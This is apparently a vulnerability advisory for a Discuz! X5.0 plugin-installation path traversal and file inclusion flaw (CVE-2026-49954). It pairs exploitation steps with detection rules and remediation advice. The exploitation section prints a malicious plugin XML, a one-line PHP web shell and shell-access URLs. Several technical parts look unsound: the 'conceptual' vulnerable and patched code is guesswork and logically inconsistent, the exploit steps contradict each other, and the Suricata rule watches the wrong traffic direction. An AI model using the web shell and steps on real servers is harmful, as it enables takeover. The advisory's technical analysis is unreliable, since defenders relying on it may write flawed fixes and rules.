CVE-2026-49954
Executive Summary
CVE-2026-49954 is a critical Local File Inclusion (LFI) vulnerability in Discuz! X5.0, affecting builds from 20260320 through 20260501. An authenticated administrator can exploit a path traversal flaw during plugin installation to include arbitrary files, leading to Remote Code Execution (RCE) via the web server user context. The vulnerability arises from improper sanitization of the directory attribute in plugin configuration XML files, which is bypassed by triggering an exception during installation. This allows malicious paths to be stored unsanitized and later passed to PHP's include() function. Combined with file upload capabilities, this enables full server compromise. No public exploit code or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It is a self-hosted PHP application vulnerability.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Administrator)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High. While requiring admin privileges, the impact is severe, allowing complete server takeover. The lack of a patch and low EPSS score (0.0%) suggest limited active exploitation, but the risk is significant for Discuz! deployments.
Deep Dive & Mechanics
The vulnerability resides in the plugin installation mechanism of Discuz! X5.0. When an administrator imports a plugin configuration file (typically XML), the application parses a directory attribute to determine where plugin files should be stored. The intended behavior is to restrict this path to a safe directory (e.g., ./plugin/). However, the sanitization routine can be bypassed.
Bypass Mechanism:
- An attacker crafts a malicious plugin XML with a
directoryattribute containing path traversal sequences (e.g.,../../../../tmp/evil). - During installation, the application attempts to validate the path. If an exception is triggered (e.g., by providing an invalid or malformed XML structure that still contains the malicious path), the sanitization routine is skipped.
- The unsanitized path is stored in the database or configuration.
- Later, when the plugin is loaded, the stored path is passed directly to PHP's
include()function without further validation. - An attacker can upload a malicious PHP file (e.g., via the file upload functionality) to a known location (e.g.,
/tmp/evil/shell.php). - The
include()call then executes the uploaded PHP file, achieving RCE.
Root Cause: The vulnerability is a classic path traversal (CWE-22) combined with improper exception handling. The sanitization logic is not atomic; an exception during validation leaves the system in an inconsistent state where the malicious path is accepted.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
function install_plugin($xml) {
$directory = $xml->plugin->directory;
// Sanitization attempt
if (strpos($directory, '..') !== false) {
throw new Exception('Invalid path');
}
// If exception is thrown, this line is skipped, but the path is already stored?
// In vulnerable version, the path is stored before validation or exception handling is flawed.
save_plugin_path($directory);
// Later...
include($directory . '/init.php');
}
Patched Code (Conceptual):
function install_plugin($xml) {
$directory = $xml->plugin->directory;
// Validate and sanitize before any storage
$directory = realpath($directory);
if (strpos($directory, '..') !== false || strpos($directory, '/') !== 0) {
throw new Exception('Invalid path');
}
// Only store after successful validation
save_plugin_path($directory);
// Later...
include($directory . '/init.php');
}
Key Differences:
- The patched version uses
realpath()to resolve the path and checks for absolute paths. - Validation occurs before any storage, preventing exception-based bypass.
- The vulnerable version likely stored the path before or during validation.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Administrator credentials for Discuz! X5.0 (build 20260320 to 20260501).
- Ability to upload files (e.g., via media manager or profile picture upload).
Exploitation Steps:
- Craft Malicious Plugin XML:
<?xml version="1.0" encoding="UTF-8"?> <plugin> <name>evil</name> <directory>../../../../tmp/evil</directory> <version>1.0</version> </plugin> - Upload a PHP Web Shell:
- Use the file upload functionality to upload a PHP file (e.g.,
shell.php) to a known location. For example, upload as a profile picture, which may be stored in/tmp/evil/shell.php. - Content of
shell.php:<?php system($_GET['cmd']); ?>
- Use the file upload functionality to upload a PHP file (e.g.,
- Trigger Exception During Plugin Installation:
- Use the admin panel to import the malicious plugin XML.
- To trigger the exception, modify the XML slightly (e.g., add an invalid tag) while keeping the
directoryattribute intact. The exception will cause the sanitization to be skipped, but the path will still be stored.
- Activate the Plugin:
- Navigate to the plugin management page and activate the "evil" plugin.
- This will trigger
include('../../../../tmp/evil/init.php'), but sinceinit.phpdoesn't exist, it will fail. However, the path is stored.
- Execute the Web Shell:
- Access the uploaded shell:
http://target.com/tmp/evil/shell.php?cmd=id - If the path is not directly accessible, use the LFI to include it:
http://target.com/index.php?plugin=evil&file=../../../../tmp/evil/shell.php
- Access the uploaded shell:
Alternative Exploit (No File Upload):
- If file upload is restricted, use PHP filter chains or data URIs to achieve RCE via the LFI itself (e.g.,
php://filter/convert.base64-encode/resource=...).
Blue Team
Detection:
- Monitor for unusual plugin installation attempts, especially those with path traversal sequences in the
directoryattribute. - Log all exceptions during plugin installation and review them for suspicious paths.
- Monitor file uploads for PHP files in non-standard directories (e.g.,
/tmp/).
Hunting:
- Search for plugin configuration files with
directoryattributes containing..or absolute paths. - Check for unexpected files in
/tmp/or other writable directories. - Review web server logs for
include()calls with suspicious paths.
Lab Setup:
- Use a Docker container with Discuz! X5.0 build 20260320.
- Install a vulnerable instance and create an admin account.
- Test the exploit in an isolated environment.
Indicators of Compromise (IOCs)
File System IOCs:
- Presence of files in
/tmp/or other non-standard directories with.phpextension. - Plugin configuration files with
directoryattribute containing..or absolute paths. - Unexpected files in the Discuz! plugin directory (e.g.,
./plugin/evil/).
Network IOCs:
- HTTP requests to
/admin.php?action=plugins&operation=importwith POST data containing..in thedirectoryfield. - HTTP requests to
/tmp/evil/shell.phpor similar paths. - Outbound connections from the web server to unknown IPs (if the shell is used for exfiltration).
Log IOCs:
- PHP error logs showing
include(../../../../tmp/evil/...)failures. - Web server access logs with
404for/tmp/evil/init.php. - Exception logs during plugin installation with path traversal strings.
Detection Engineering
YARA Rule
rule CVE_2026_49954_Discuz_LFI {
meta:
description = "Detects malicious plugin XML files exploiting CVE-2026-49954"
author = "Valters IT"
date = "2026-05-15"
reference = "CVE-2026-49954"
strings:
$path_traversal = /\.\.\/\.\.\/\.\.\/\.\.\// nocase
$xml_tag = "<directory>" nocase
condition:
$xml_tag and $path_traversal
}
Sigma Rule
title: Discuz! X5.0 Plugin Installation Path Traversal
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2026-49954 via plugin installation
author: Valters IT
date: 2026/05/15
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
c-uri: '/admin.php'
cs-uri-query: 'action=plugins&operation=import'
cs-request-body: '*.directory*..*'
condition: selection
falsepositives:
- Legitimate plugin updates with deep paths (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2026-49954 Discuz! X5.0 Plugin Installation Path Traversal";
flow:to_server,established;
content:"POST"; http_method;
content:"/admin.php"; http_uri;
content:"action=plugins&operation=import"; http_uri;
content:"directory"; http_client_body;
pcre:"/\.\.\/\.\.\/\.\.\/\.\.\//Ri";
reference:cve,2026-49954;
classtype:attempted-admin;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable Plugin Installation: Temporarily restrict the ability for administrators to install plugins via the admin panel.
- Restrict File Uploads: Limit file upload functionality to only allow safe file types (e.g., images) and store them in non-executable directories.
- Web Application Firewall (WAF): Deploy WAF rules to block requests containing path traversal sequences (
..) in POST parameters related to plugin installation.
Long-Term Fix:
- Apply the conceptual patch: use
realpath()to resolve paths and validate before storage. - Implement atomic validation: ensure that path sanitization and storage are in a single transaction.
- Add input validation for all XML attributes during plugin import.
- Monitor for official patches from Discuz! and apply them immediately.
Workaround:
- Manually review all plugin XML files before installation.
- Use a custom PHP wrapper to intercept
include()calls and validate paths.
Valters IT Signature:
Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert